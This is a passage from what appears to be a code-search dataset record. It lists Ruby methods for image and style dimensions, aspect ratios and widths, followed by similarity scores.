"def aspect_ratio; (@x/@y).abs; end",
"def retrieve(name)\n self.all.detect{|style| style.name == name}\n end",
"def calculate_aspect_ratio(info, options)\n if options[:preserve_aspect_ratio]\n composited_size = SmartImage::RatioCalculator.new(\n :source_width => info.width,\n :source_height => info.height,\n :dest_width => Integer(options[:width]), \n :dest_height => Integer(options[:height])\n ).size\n\n return composited_size.width, composited_size.height\n else\n return options[:width], options[:height]\n end\n end",
"def weighted_styles(input)\n Hash[input.sort_by do |meta_style_name,meta_style| \n r = if meta_style_name == :original \n -9999999999999\n else\n 0 - (meta_style[:width].to_i + meta_style[:height].to_i)\n end\n end]\n end",
"def style\n return @style\n end",
"def size_ratio(geom)\n if geom && geom.geometry_type == RGeo::Feature::Polygon && geom.area > 0\n return size.to_f / geom.area\n else\n return 0.0\n end\n end",
"def set_ratio\n @ratio = $program.width.to_f / $program.height\n end",
"def size_with_meta_data(style = nil)\n style ? meta_for_style(style)[:size] : size_without_meta_data\n end",
"def url(style_name = reflection.default_style)\n interpolate_url(style_name)\n end",
"def styles\n if imageable_class.respond_to?(:image_styles)\n imageable_class.image_styles\n end || DEFAULT_STYLES\n end",
"def height=(value)\n @style.height = value\n end",
"def intrinsic_image_dimensions path\n if path.end_with? '.svg'\n img_obj = ::Prawn::Svg::Interface.new ::IO.read(path), self, {}\n img_size = img_obj.document.sizing\n { width: img_size.output_width, height: img_size.output_height }\n else\n # NOTE build_image_object caches image data previously loaded\n _, img_size = ::File.open(path, 'rb') {|fd| build_image_object fd }\n { width: img_size.width, height: img_size.height }\n end\n end",
"def font_size\n styles['font-size'] ? styles['font-size'].to_f : DEFAULT_FONT_SIZE\n end",
"def style=(value)\n @style = value\n end",
"def style\n @style\n end",
"def safe_aspect_ratio\n pages.first.safe_aspect_ratio\n end",
"def image_width\n @image_width ||=\n if image_node.has_attribute?('width')\n image_node.attribute('width').value.to_i\n elsif image_node.has_attribute?('style')\n regex = /width:\\s?(?<px>\\d+|(\\d+?\\.\\d+))px/\n match = image_node.attribute('style').value.match(regex)\n match['px'].to_i if match && match['px']\n end\n end",
"def average_width\n width_sum / widths.size.to_f\n end",
"def size\n return @peer.width_style.to_s, @peer.height_style.to_s\n end",
"def ratio\n # This call is interesting because it involves converting the\n # cog to a floar instead of both the chainring and the cog.\n # This avoids any uncessary conversions to get the job done!\n chainring / cog.to_f\n end",
"def choose_dimensions(img_elem, default_width, default_height)\n width = default_width\n height = default_height # Until we determine otherwise\n\n # CSS styling takes precedence over explicit +width+ and +height+ attributes, so\n # look for the explicit attributes first and then override them below if the CSS\n # styling yields values.\n width = img_elem['width'] if img_elem.has_attribute?('width')\n height = img_elem['height'] if img_elem.has_attribute?('height')\n\n # Attempt to override the explicit attribute values with CSS style values.\n if img_elem.has_attribute?('style')\n css_width = extract_css_dimension(img_elem['style'], :width)\n css_height = extract_css_dimension(img_elem['style'], :height)\n\n width = css_width if css_width\n height = css_height if css_height\n end\n\n [width, height]\n end",
"def size_with_meta_data(style = nil)\n style ? read_meta(style, :size) : size_without_meta_data\n end",
"def param(attachment, _style_name)\n attachment.instance.to_param\n end",
"def actual_dimensions(version = nil)\n if :original == version || [:original] == version\n version = nil\n elsif :fullsize == version || [:fullsize] == version\n version = fullsize_version\n end\n current_version = version.present? ? get_version(*version) : self\n path = current_version.path\n image = {}\n image = MiniMagick::Image.open(path) if File.exists?(path)\n [image[:width], image[:height]]\n end",
"def property(name)\n execute\n case name\n when :width; return @surface.width\n when :height; return @surface.height\n when :x; return @context.current_point[0]\n when :y; return @context.current_point[1]\n else return nil\n end\n end",
"def svg_scale\n # Use the normal svg method, unless a custom width or height have been\n # passed\n return self.svg unless @custom_dimensions\n\n # Use regex to substitute the width and height attributes of the\n # SVG. Remember, sub only substitutes the first occurence.\n d = self.svg\n d.sub! /\\swidth=\"[\\da-zA-Z]*\"\\s/, \" width=\\\"#{@width}px\\\" \"\n d.sub! /\\sheight=\"[\\da-zA-Z]*\"\\s/, \" height=\\\"#{@height}px\\\" \"\n return d\n end",
"def width\n ['N', 'S'].include?(@orientation) ? @width : @height\n end",
"def set_svg_size(xml, width, height)\n # Save original dimension and calculate percent change.\n orig = {width:xml.root['width'].to_f, height:xml.root['height'].to_f}\n delta = {width:width.to_f/orig[:width], height:height.to_f/orig[:height]}\n aspect_ratio = orig[:width]/orig[:height]\n \n # Restrict width and height to aspect ratio.\n if width/height > aspect_ratio\n width = height * aspect_ratio\n else\n height = width / aspect_ratio\n end\n \n # Set new width & height.\n xml.root['width'] = \"#{width}px\"\n xml.root['height'] = \"#{height}px\"\n end",
"def item_average_rating\n item_rating / count_properties_names rescue 0\n end",
"def average_rating_round\n average_rating.round\n end",
"def average_rating_round\n average_rating.round\n end",
"def get_size(card_name)\n if @sizes\n begin\n size_key = /[<{\\[](.+)[>}\\]]/.match(card_name)[1].to_sym\n if @sizes.has_key? size_key\n size = @sizes[size_key] \n else\n if size_key.to_s.to_i != 0\n size = size_key.to_s.to_i\n else\n size = @sizes[:default]\n end\n end\n rescue Exception => e\n size = @sizes[:default]\n end\n else\n size = (/[<{\\[](\\d+)[>}\\]]/.match(card_name) || DEFAULT_SIZE )[1].to_i\n end\n size\n end",
"def path(style_name = reflection.default_style)\n interpolate_path(style_name)\n end",
"def style(prop); end",
"def sizes_from_essence_or_params\n if @essence_picture.render_size? && !@essence_picture.render_size.blank?\n @essence_picture.sizes_from_string(@essence_picture.render_size)\n elsif @options[:image_size]\n @essence_picture.sizes_from_string(@options[:image_size])\n else\n { width: 0, height: 0 }\n end\n end",
"def header_width_height(width,height)\r\n \"<style type=\\\"text/css\\\">\\n##{@container} { height: #{height}px;\\n width: #{width}px;\\n}\\n</style>\"\r\n end",
"def average_rating_round\n\t\t\t\t\taverage_rating.round\n\t\t\t\tend",
"def medium_width\n width * medium_height / height\n end",
"def width(value)\n attributes[:width] = value\n end",
"def height(name)\n Tk.execute(:image, :height, name)\n end",
"def getStyledPathName(pathName)\r\n return CodeNameStyling.getStyled(pathName, @langProfile.fileNameStyle)\r\n end",
"def set_aspect_ratio\n @columns = 25\n @rows = 25\n base_image_columns = @base_image[\"%w\"].to_i\n base_image_rows = @base_image[\"%h\"].to_i\n\n if base_image_columns > base_image_rows\n @columns *= (base_image_columns / base_image_rows.to_f)\n @columns = @columns.round\n else\n @rows *= (base_image_rows / base_image_columns.to_f)\n @rows = @rows.round\n end\n end",
"def serving_ratio(serving_amt = self.serving_size)\n ratio = 1.0\n #have to transform to float to maintain decimal precision\n if self.serving_size && serving_amt && self.serving_size > 0 && serving_amt > 0\n ratio = serving_amt/self.serving_size.to_f\n end\n ratio\n end",
"def style\n Style.new(self)\n end",
"def get_width\n width = self.unpadded_width\n\n if not width.nil? and width != 0\n return { :width => \"#{width}px\" }\n else\n return {}\n end\n end",
"def points_for_styles\n styles = {}\n counts = {}\n ratings.each do |r|\n style = r.beer.style\n if styles[style].nil?\n styles[style] = r.score\n counts[style] = 1\n else\n styles[style] += r.score\n counts[style] += 1\n end\n end\n return calculate_means(styles, counts)\n end",
"def inline_css(name)\n sprockets[\"#{name}.css\"].to_s\n end",
"def style_url(id)\n \"/beerstyles/a/#{id}/\"\n end",
"def auto(m)\n a = children - [self.inner, self.outer]\n return (@style[:margin_left] + @style[:margin_right] +\n @style[:border_left] + @style[:border_right] +\n @style[:padding_left] + @style[:padding_right] + \n (a.delete_if{|c| c.respond_to?(:style) && (c = c.style[:width]) != :auto && c.percent?\n }.map{|c| c.x + c.width }.max||0)\n ) if m == :width\n return (@style[:margin_top] + @style[:margin_bottom] +\n @style[:border_top] + @style[:border_bottom] +\n @style[:padding_top] + @style[:padding_bottom] +\n (a.delete_if{|c| c.respond_to?(:style) && (c = c.style[:height]) != :auto && c.percent?\n }.map{|c| c.y + c.height}.max||0)\n ) if m == :height\n end",
"def all_ratings_calculated_ratio\n\t\tif number_of_ratings > 0\n\t\t\tratio = mean_calculated_ratio\n\t\telse\n\t\t\tratio = chapter.mean_calculated_ratio\n\t\tend\n\t\treturn ratio\n\tend",
"def stroke_width(width)\n end",
"def style=(style)\n validator = EnumAttributeValidator.new('String', ['Unknown', 'Percent05', 'Percent10', 'Percent20', 'Percent25', 'Percent30', 'Percent40', 'Percent50', 'Percent60', 'Percent70', 'Percent75', 'Percent80', 'Percent90', 'DarkHorizontal', 'DarkVertical', 'DarkDownwardDiagonal', 'DarkUpwardDiagonal', 'SmallCheckerBoard', 'Trellis', 'LightHorizontal', 'LightVertical', 'LightDownwardDiagonal', 'LightUpwardDiagonal', 'SmallGrid', 'DottedDiamond', 'WideDownwardDiagonal', 'WideUpwardDiagonal', 'DashedUpwardDiagonal', 'DashedDownwardDiagonal', 'NarrowVertical', 'NarrowHorizontal', 'DashedVertical', 'DashedHorizontal', 'LargeConfetti', 'LargeGrid', 'HorizontalBrick', 'LargeCheckerBoard', 'SmallConfetti', 'Zigzag', 'SolidDiamond', 'DiagonalBrick', 'OutlinedDiamond', 'Plaid', 'Sphere', 'Weave', 'DottedGrid', 'Divot', 'Shingle', 'Wave', 'Horizontal', 'Vertical', 'Cross', 'DownwardDiagonal', 'UpwardDiagonal', 'DiagonalCross', 'NotDefined'])\n unless validator.valid?(style)\n fail ArgumentError, 'invalid value for \"style\", must be one of #{validator.allowable_values}.'\n end\n @style = style\n end",
"def get_text_width(text, params)\n\t\tpointsize = params[:pointsize] || 20\n\t\tfont_family = params[:font_family] || nil\n\t\tfont_style = params[:font_style] || nil\n\t\tdensity_fraction = RVG::dpi\n\t\tgc = Magick::Draw.new\n\t\timg = Magick::Image.new(900,50){\n\t\t\tself.density=\"#{density_fraction}x#{density_fraction}\"\n\t\t\tself.format='png'\n\t\t}\n\t\tgc.pointsize = pointsize\n\t\tgc.font_family = font_family if font_family\n\t\tmetrics = gc.get_type_metrics(img,text)\n#\t\tgc.text(0,20,text)\n\t\t\n\t\treturn metrics.width\n\tend",
"def square?(style_name='original')\n geometry(style_name).square?\n end",
"def [](attribute)\n `c$Element.prototype.m$get_style.call(#{@element},attribute)`\n end"
] | [
"0.66587573",
"0.6197773",
"0.61951274",
"0.6068867",
"0.60096115",
"0.5917236",
"0.58478194",
"0.5703756",
"0.56912726",
"0.5612362",
"0.5597567",
"0.559034",
"0.5562877",
"0.55475664",
"0.5538559",
"0.5532147",
"0.5456631",
"0.5376528",
"0.5312218",
"0.52979004",
"0.5293787",
"0.52828074",
"0.52486795",
"0.5208119",
"0.5177219",
"0.51590306",
"0.5125673",
"0.5121971",
"0.5093052",
"0.507933",
"0.50777704",
"0.5072756",
"0.50319123",
"0.5030466",
"0.5023202",
"0.5007458",
"0.5005241",
"0.4964715",
"0.4950505",
"0.49091455",
"0.48943046",
"0.4858206",
"0.48310512",
"0.48288202",
"0.48285893",
"0.48222226",
"0.4805392",
"0.48031053",
"0.47803184",
"0.47685477",
"0.47547507",
"0.47467482",
"0.47339648",
"0.47222707",
"0.4722073",
"0.4719646",
"0.4676587",
"0.46700996",
"0.46657813",
"0.463199",
"0.46091318",
"0.46029404",
"0.45922986",
"0.45876217",
"0.4583583",
"0.4581859",
"0.45704278",
"0.45675573",
"0.45592457",
"0.4536095",
"0.4532674",
"0.45241165",
"0.45090917",
"0.4494145",
"0.4478954",
"0.44785276",
"0.44771725",
"0.44679046",
"0.4456487",
"0.44415414",
"0.4411985",
"0.4408302",
"0.4401564",
"0.4396561",
"0.43924448",
"0.43853128",
"0.43815368",
"0.43691853",
"0.43643573",
"0.43637344",
"0.4353042",
"0.43477044",
"0.43471915",
"0.4347012",
"0.43456623",
"0.433798",
"0.43275362",
"0.43257648",
"0.43254378",
"0.43231636"
] | 0.85200244 | 0 |
Return the width and height of the named style, as a 2element array. | def dimensions(style_name=nil)
style_name ||= reflection.default_style
if style_name.equal?(:original)
original_width = from_examination(:@original_width)
original_height = from_examination(:@original_height)
[original_width, original_height]
else
resize_dimensions(dimensions(:original), reflection.styles[style_name])
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_dimensions\n case @options[:style]\n when 'horizontal'\n [@colors.size, 1]\n when 'vertical'\n [1, @colors.size]\n end\n end",
"def styles\n return @metadata[:styles]\n end",
"def dimensions(style = :original)\n @dimensions ||= {}\n return {} unless is_bitmap? && File.exist?(attachment.path(style))\n @dimensions[style] ||= [:width, :height].zip(FastImage.size(attachment.path(style))).to_h\n end",
"def dimensions_for(style)\n reprocess_for(style)\n file_dimensions[style.to_s]\n end",
"def dimensions(style = default_style)\n m = meta_for_style(style)\n w = m[:width]\n h = m[:height]\n \"#{w}#{h && \"x#{h}\"}\" if w || h\n end",
"def style_names\n styles.keys\n end",
"def size\n\t\treturn @styles.size\n\tend",
"def style\n \"#{width}px;height:#{height}px;#{@style}\"\n end",
"def size\n [width, height]\n end",
"def size\n [width, height]\n end",
"def inline_styles\n parser.css(\"style\").to_a\n end",
"def image_size(style = default_style)\n return nil if instance_read(:meta).nil? || instance_read(:meta).empty?\n \"#{width(style)}x#{height(style)}\"\n end",
"def geometry(style_name='original')\n if style_name == 'original'\n Paperclip::Geometry.parse(\"#{original_width}x#{original_height}\")\n else\n Paperclip::Geometry.parse(style_dimensions(style_name))\n end\n end",
"def size\n return @peer.width_style.to_s, @peer.height_style.to_s\n end",
"def dimensions\n [width,height]\n end",
"def styles\n mentos(:get_all_styles)\n end",
"def to_array str\n array = []\n str.split().each do |i|\n entry = i.split(\",\")\n\n width = entry[0].to_i\n height = entry[1].to_i\n\n if entry.length == 2\n array << [width, height]\n else\n ALL_MACROS[entry[2]].call(width, height, array)\n end\n end\n\n array\nend",
"def style_params\n params[:style]\n end",
"def styles\n if position == 1 || position == 2\n { :medium => \"175x150>\" }\n elsif position == 3\n { :medium => \"350x150>\" } \n elsif position == 4\n { :medium => \"350x300>\" } \n else\n { :medium => \"175x150>\" }\n end\n end",
"def width(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_width\n else\n dimensions(style_name).at(0)\n end\n end",
"def styles\n return if @styles.empty?\n @styles.uniq.sort\n end",
"def width(style_name='original')\n geometry(style_name).width.to_i\n end",
"def resize_dimensions(original_dimensions, style)\n if style.filled?\n style.dimensions\n else\n original_aspect_ratio = original_dimensions[0].to_f / original_dimensions[1]\n target_aspect_ratio = style.dimensions[0].to_f / style.dimensions[1]\n if original_aspect_ratio > target_aspect_ratio\n width = style.dimensions[0]\n height = (width / original_aspect_ratio).round\n else\n height = style.dimensions[1]\n width = (height * original_aspect_ratio).round\n end\n [width, height]\n end\n end",
"def css_styles\n @css_styles ||= []\n end",
"def styles\n @styles ||= DEFAULT_STYLES\n end",
"def height(style_name='original')\n geometry(style_name).height.to_i\n end",
"def font_sizes\n @font_sizes ||= begin\n sizes = []\n doc.css(\"[style]\").each do |element|\n sizes.push element.font_size.round(-1) unless element.font_size.nil?\n end\n sizes.uniq.sort\n end\n end",
"def [](type)\n (@styles_by_type ||= {})[type.to_sym] ||= []\n end",
"def style\n return @style\n end",
"def styles\n @styles ||= Hash.new{ |h, k| h[k] = {} }\n end",
"def styles(options = {})\n options[:width] ||= 0\n options[:height] ||= 0\n options[:free_height] ||= false\n\n attribs = [ :position_x, :position_y,\n :opacity,\n :blur ].map { |attribute| style_for_attribute(attribute) }.join ' '\n attribs += pinning(options[:width],\n options[:height],\n options[:free_height])\n attribs\n end",
"def header_width_height(width,height)\r\n \"<style type=\\\"text/css\\\">\\n##{@container} { height: #{height}px;\\n width: #{width}px;\\n}\\n</style>\"\r\n end",
"def dimensions\n dim = [width, height]\n def dim.to_s\n join 'x'\n end\n dim\n end",
"def line_style_to_array(data)\n return default_line_style if data.nil?\n thickness = data[:thickness] || default_line_style.first\n style = data[:style]\n style_arr = style.is_a?(Hash) ? [style[:solid], style[:blank]] :\n line_style_definition(style, thickness)\n [thickness] + style_arr\n end",
"def get_style(attribute)\n `var el=this.__native__,attr=attribute.__value__.replace(/[_-]\\\\D/g, function(match){return match.charAt(1).toUpperCase();}),result=el.style[attr]`\n `result===undefined?nil:$q(result)`\n end",
"def height(style_name=nil)\n style_name ||= reflection.default_style\n if style_name.equal?(:original)\n from_examination :@original_height\n else\n dimensions(style_name).at(1)\n end\n end",
"def dimensions\n height = count\n width = collect { |a| a.length }.max\n [width, height]\n end",
"def style\n @style\n end",
"def style\n defined?(@style) ? @style : 0\n end",
"def get_styles &block\n response = self.search :styles => nil\n doc = Nokogiri::XML(response)\n styles = doc.xpath(Style.root_xpath).collect{|l| l.text.to_s }\n list Style, styles, {}, &block\n end",
"def styles\n [\n {:name => 'general', :num_fmt => 0},\n {:name => 'currency', :num_fmt => 5},\n {:name => 'percent', :num_fmt => 9},\n {:name => 'date', :format_code => \"yyyy-mm-dd\"},\n {:name => 'text_left', :alignment => { :horizontal => :left, :vertical => :center , :wrap_text => false}},\n {:name => 'text_center', :alignment => { :horizontal => :center, :vertical => :center , :wrap_text => false}},\n {:name => 'text_right', :alignment => { :horizontal => :right, :vertical => :center , :wrap_text => false}}\n ]\n end",
"def extract_dimensions\n return unless is_image?\n {original: 'image_dimensions', resized: 'resized_dimensions'}.each_pair do |style, method|\n tempfile = media.queued_for_write[style]\n unless tempfile.nil?\n geometry = Paperclip::Geometry.from_file(tempfile)\n self.send(\"#{method}=\", [geometry.width.to_i, geometry.height.to_i])\n end\n end\n end",
"def styles\n @document.styles\n end",
"def styles=(_arg0); end",
"def choose_dimensions(img_elem, default_width, default_height)\n width = default_width\n height = default_height # Until we determine otherwise\n\n # CSS styling takes precedence over explicit +width+ and +height+ attributes, so\n # look for the explicit attributes first and then override them below if the CSS\n # styling yields values.\n width = img_elem['width'] if img_elem.has_attribute?('width')\n height = img_elem['height'] if img_elem.has_attribute?('height')\n\n # Attempt to override the explicit attribute values with CSS style values.\n if img_elem.has_attribute?('style')\n css_width = extract_css_dimension(img_elem['style'], :width)\n css_height = extract_css_dimension(img_elem['style'], :height)\n\n width = css_width if css_width\n height = css_height if css_height\n end\n\n [width, height]\n end",
"def font_size\n return nil unless @styles\n\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def computed prop\n a = []\n \n # dummy lookup\n @collection.each do |e|\n a << e.style[prop.to_s] \n end\n \n a\n end",
"def actual_dimensions(version = nil)\n if :original == version || [:original] == version\n version = nil\n elsif :fullsize == version || [:fullsize] == version\n version = fullsize_version\n end\n current_version = version.present? ? get_version(*version) : self\n path = current_version.path\n image = {}\n image = MiniMagick::Image.open(path) if File.exists?(path)\n [image[:width], image[:height]]\n end",
"def extract_style_attributes(img)\n style_attributes = {}\n\n unless img['style'].nil? || img['style'].empty?\n styles = img['style'].split(';').map { |item| item.strip }\n\n styles.each do |style_item|\n key, value = style_item.split(':')\n style_attributes[key.to_sym] = value.strip\n end\n end\n\n style_attributes\n end",
"def style\n @style ||= Style.new(attributes[:style])\n end",
"def weighted_styles(input)\n Hash[input.sort_by do |meta_style_name,meta_style| \n r = if meta_style_name == :original \n -9999999999999\n else\n 0 - (meta_style[:width].to_i + meta_style[:height].to_i)\n end\n end]\n end",
"def styles\n if imageable_class.respond_to?(:image_styles)\n imageable_class.image_styles\n end || DEFAULT_STYLES\n end",
"def style_types\n @xml.xpath('/styleSheet/cellXfs/xf').map do |xstyle|\n style_type_by_num_fmt_id(\n xstyle.attributes['numFmtId']&.value\n )\n end\n end",
"def sizes_from_essence_or_params\n if @essence_picture.render_size? && !@essence_picture.render_size.blank?\n @essence_picture.sizes_from_string(@essence_picture.render_size)\n elsif @options[:image_size]\n @essence_picture.sizes_from_string(@options[:image_size])\n else\n { width: 0, height: 0 }\n end\n end",
"def intrinsic_image_dimensions path\n if path.end_with? '.svg'\n img_obj = ::Prawn::Svg::Interface.new ::IO.read(path), self, {}\n img_size = img_obj.document.sizing\n { width: img_size.output_width, height: img_size.output_height }\n else\n # NOTE build_image_object caches image data previously loaded\n _, img_size = ::File.open(path, 'rb') {|fd| build_image_object fd }\n { width: img_size.width, height: img_size.height }\n end\n end",
"def extract_css_dimension(style_str, target_dimension)\n # We are only interested in the style components that have the target dimension in their names\n # and have numeric pixel values.\n dimension_styles = style_str\n .split(';')\n .map { |s| s.gsub(/\\s+/, '') }\n .grep(/#{target_dimension}/i)\n .grep(/\\d+px$/i)\n\n # Sort by style string length to prefer a style like +width:30px+ to one with a +min-+ or +max-+ prefix.\n # And if you have to choose between a +min-+ or a +max-+, choose the max by preferring the one that's first\n # in alphabetical order.\n best_style = dimension_styles.min_by do |s|\n style_name = s.split(':').first\n [style_name.size, style_name]\n end\n\n numeric_match = best_style.to_s.split(':').last.to_s.match(/\\d+/)\n numeric_match && numeric_match[0]\n end",
"def dim\n [x, y, w, h]\n end",
"def dimensions\n dimensions = identify(:layer => 0, :format => \"%wx%h\").chomp.split(\"x\")\n { :x => dimensions[0].to_i,\n :y => dimensions[1].to_i }\n end",
"def get_font_style_attributes(font)\n return [] unless font\n\n attributes = []\n attributes << 'sz' << font[:_size] if ptrue?(font[:_size])\n attributes << 'b' << font[:_bold] if font[:_bold]\n attributes << 'i' << font[:_italic] if font[:_italic]\n attributes << 'u' << 'sng' if font[:_underline]\n\n attributes << 'baseline' << font[:_baseline]\n attributes\n end",
"def getStyleString\n\t\tstyle=\"\"\n\t\t([email protected]).each do |i|\n\t\t\tstyle=style+@StylePrefix+(i).to_s+\" lt \"+@StyleLtarr[i-1]+\" lw \"+@oc[\"LineWidth\"]\n\t\t\tstyle=style+\" pt \"+@StylePtarr[i-1]+\" ps 0.5;\\n\"\n\t\tend\n\t\tstyle=style+\"set style line 20 lt 7 lw 1 pt 4 ps 0.5;\\n\"\n\t\treturn style\n\tend",
"def size\n width_pointer = FFI::MemoryPointer.new :int, 1\n height_pointer = FFI::MemoryPointer.new :int, 1\n XDo::FFILib.xdo_get_window_size @_xdo_pointer, @_window, width_pointer,\n height_pointer\n [width_pointer.read_int, height_pointer.read_int]\n end",
"def soapGetSupportedStyles()\n printDebugMessage('soapGetSupportedStyles', 'Begin', 1)\n soapConnect\n res = @soap.getSupportedStyles({})\n if(2 <= @debugLevel)\n p res\n end\n printDebugMessage('soapGetSupportedStyles', 'End', 1)\n return res['getSupportedStylesReturn']\n end",
"def attachable_styles\n {\n _134x134: '134x134>'\n }\n end",
"def for_file(file)\n io_string_for(file).dimensions\n end",
"def extractStyleAttributes(parsed_doc)\n style_attributes = {}\n styled_tags = parsed_doc.css(\"svg[style],mjx-container[style]\")\n for styled_tag in styled_tags do\n style_attribute = styled_tag[\"style\"]\n digest = Digest::MD5.hexdigest(style_attribute)[0..15]\n style_attributes[digest] = style_attribute\n\n digest_class = \"mathjax-inline-#{digest}\"\n styled_tag[\"class\"] = \"#{styled_tag[\"class\"] || \"\"} #{digest_class}\"\n styled_tag.remove_attribute(\"style\")\n end\n return style_attributes\n end",
"def styles\n @styles ||= Element::Styles.new(self)\n end",
"def styles; end",
"def styles; end",
"def styles; end",
"def size\n \"#{width}x#{height}\"\n end",
"def size\n \"#{width}x#{height}\"\n end",
"def width\n image_ptr[:sx]\n end",
"def size\n {width: @iplimage_struct.width, height: @iplimage_struct.height}\n end",
"def to_a\n return width, height, depth\n end",
"def get_width\n width = self.unpadded_width\n\n if not width.nil? and width != 0\n return { :width => \"#{width}px\" }\n else\n return {}\n end\n end",
"def geometry(style_name='original')\n # These calculations are all memoised.\n @geometry ||= {}\n begin\n @geometry[style_name] ||= if style_name.to_s == 'original'\n # If no style name is given, or it is 'original', we return the original discovered dimensions.\n original_geometry\n else\n # Otherwise, we apply a mock transformation to see what dimensions would result.\n style = self.file.styles[style_name.to_sym]\n original_geometry.transformed_by(style.geometry)\n end\n rescue Paperclip::TransformationError => e\n # In case of explosion, we always return the original dimensions so that action can continue.\n original_geometry\n end\n end",
"def detected_styles; end",
"def styles\n @styles ||= Hash.new do |_styles, stylename|\n _styles[stylename] = Style.new\n _styles[stylename].stylename = stylename\n _styles[stylename].stylesheet = self\n _styles[stylename]\n end\n end",
"def size=(size='300x200')\n @width, @height = size.split(\"x\").map { |dimension| dimension.to_i }\n end",
"def styles\n yield @styles if block_given?\n @styles\n end",
"def dimensions\n\t\t[@n,@m]\n\tend",
"def dimensions\n Vector2d.new(metadata[:width], metadata[:height]) if valid?\n end",
"def get_style_rules\n computed_style_rules = Hash.new\n if self.style_layer and self.type == Layer::LAYER_NORMAL\n # this means its a style layer and it has image to be set as background \n computed_style_rules[:background] = \"url('../../#{self.image_path}') no-repeat\"\n computed_style_rules[:'background-size'] = \"100% 100%\"\n computed_style_rules[:'background-repeat'] = \"no-repeat\"\n end\n\n style_rules = Array.new\n\n # Get the computed styles for background image for NORMAL layer\n style_rules += Compassify::styles_hash_to_array computed_style_rules\n\n # Get all the other css3 styles for the layer\n style_rules += StylesGenerator.get_styles self\n\n return style_rules\n end",
"def sizes_from_string(string = \"0x0\")\n string = \"0x0\" if string.nil? || string.empty?\n\n raise ArgumentError unless string =~ /(\\d*x\\d*)/\n\n width, height = string.scan(/(\\d*)x(\\d*)/)[0].map(&:to_i)\n\n width = 0 if width.nil?\n height = 0 if height.nil?\n {\n width: width,\n height: height,\n }\n end",
"def get_dimensions(id, range)\n\t \n\t image = @user.images.find(id)\n\t time_frame = range+'_dim'\n\t dim_params = image.send(time_frame)\n\t time_frame2 = range+'_z'\n\t z_params = image.send(time_frame2)\n\t # get width and height dimensions \n\t @z_index = z_params\n\n\t if dim_params\n\t @con_width = dim_params.split(\",\")[0].to_i \n\t @con_height = dim_params.split(\",\")[1].to_i \n\t @width = dim_params.split(\",\")[0].to_i \n\t @height = dim_params.split(\",\")[1].to_i \n\t else\n\t \t@con_width = \"\" \n\t @con_height = \"\" \n\t @width = \"\" \n\t @height = \"\"\n\t end\n\tend",
"def size_with_meta_data(style = nil)\n style ? read_meta(style, :size) : size_without_meta_data\n end",
"def to_a\n a = []\n \n @collection.each do |e|\n a << e.style \n end\n \n return a\n end",
"def font_size\n size_tag = @styles.xpath('//w:docDefaults//w:rPrDefault//w:rPr//w:sz').first\n size_tag ? size_tag.attributes['val'].value.to_i / 2 : nil\n end",
"def size\r\n @colours.size\r\n end",
"def styles\n a = []\n a << super\n # Header Styles\n a << {name: 'lt-gray', bg_color: \"A9A9A9\"}\n a << { name: 'gray', bg_color: \"808080\"}\n a << { name: 'two-decimal-places', format_code: \"#,##0.00\" }\n a.flatten\n end",
"def font_size()\n validate_worksheet\n return @workbook.fonts[font_id()][:font][:sz][:attributes][:val]\n end",
"def get_dimensions()\n frame_start\n label(:a) do\n puts \"Zadaj veľkosť bludiska (rozmery musia byť vačšie ako 0): X Y\"\n begin\n @width, @height = convert_s_array_to_i_array(gets.split(\" \"))\n raise(ArgumentError) if @width <= 0 or @height <= 0\n rescue ArgumentError\n puts \"Chybný vstup. Skús znova.\\n\"\n\n # znovu nacitanie vstupu\n goto :a\n end\n end\n frame_end\n end",
"def column_styles\n # [\n # {:name => 'general', :column => 0},\n # {:name => 'general', :column => 1},\n # {:name => 'general', :column => 2}\n #]\n []\n end",
"def find_image_dimensions\n file_path = Rails.root.join(dir_path, self.image_sequence)\n File.readlines(file_path).each do |line|\n if /DimSize =/ =~ line\n self.width,self.height,self.frames = line.split(\" \")[-3..-1]\n break\n end\n end\n end",
"def dimensions(path)\n mp4info_output(path).split(\"\\n\").each do |line|\n matches = /video.*\\s(\\d+)x(\\d+)\\s/.match line\n next if matches.nil?\n\n return [matches[1].to_f, matches[2].to_f]\n end\n [nil, nil]\n end",
"def levelsize\n w=@width-(2*@border)\n h=@height-(2*@border)\n return [w, w * gridwidth / gridheight ] if fit_width()\n return [h * gridheight / gridwidth, h]\n end",
"def parameter_names\n [:x, :y, :width, :height]\n end",
"def getDimensions\r\n @imageheights = @image.length\r\n @imagewidth = @image[0].length\r\n puts \"image dimensions are #{@imagewidth} by #{@imageheights}\"\r\n end",
"def size(input) \n\tinfo = `identify \"#{input}\"`\n\twidth, height = info.match(/(\\d+)x(\\d+)\\+/).captures\n\treturn width.to_i, height.to_i\nend",
"def size\n width * height\n end"
] | [
"0.6866974",
"0.67288405",
"0.6516567",
"0.65090215",
"0.64856255",
"0.6415302",
"0.634943",
"0.6193142",
"0.6119825",
"0.6119825",
"0.603385",
"0.58650863",
"0.5858989",
"0.58505297",
"0.58187747",
"0.5804687",
"0.57633615",
"0.5755147",
"0.56933",
"0.5682097",
"0.56781006",
"0.56780994",
"0.56682056",
"0.5667699",
"0.56623256",
"0.5658569",
"0.5651684",
"0.56181526",
"0.5604636",
"0.55983055",
"0.5577788",
"0.5570601",
"0.5568136",
"0.5567899",
"0.55623806",
"0.55501586",
"0.5546753",
"0.55421364",
"0.55348563",
"0.55305785",
"0.55243295",
"0.5500951",
"0.54859674",
"0.5478327",
"0.5471472",
"0.5437147",
"0.5433712",
"0.543312",
"0.5432434",
"0.5421861",
"0.5411149",
"0.5404801",
"0.5390593",
"0.5377479",
"0.5352795",
"0.53369",
"0.5330613",
"0.53175277",
"0.53127307",
"0.53042066",
"0.5301181",
"0.5300716",
"0.52997977",
"0.5297567",
"0.5297378",
"0.5283526",
"0.5269298",
"0.5269298",
"0.5269298",
"0.5253229",
"0.5253229",
"0.52299356",
"0.5225019",
"0.5223813",
"0.5190314",
"0.51795626",
"0.51773566",
"0.51570565",
"0.5155435",
"0.5153545",
"0.51529264",
"0.5149758",
"0.5149265",
"0.51410306",
"0.5139645",
"0.5134165",
"0.51126313",
"0.51107436",
"0.5104322",
"0.51036394",
"0.5101217",
"0.509902",
"0.5097968",
"0.508233",
"0.5082127",
"0.50785846",
"0.5075559",
"0.5072823",
"0.5069226",
"0.50473064"
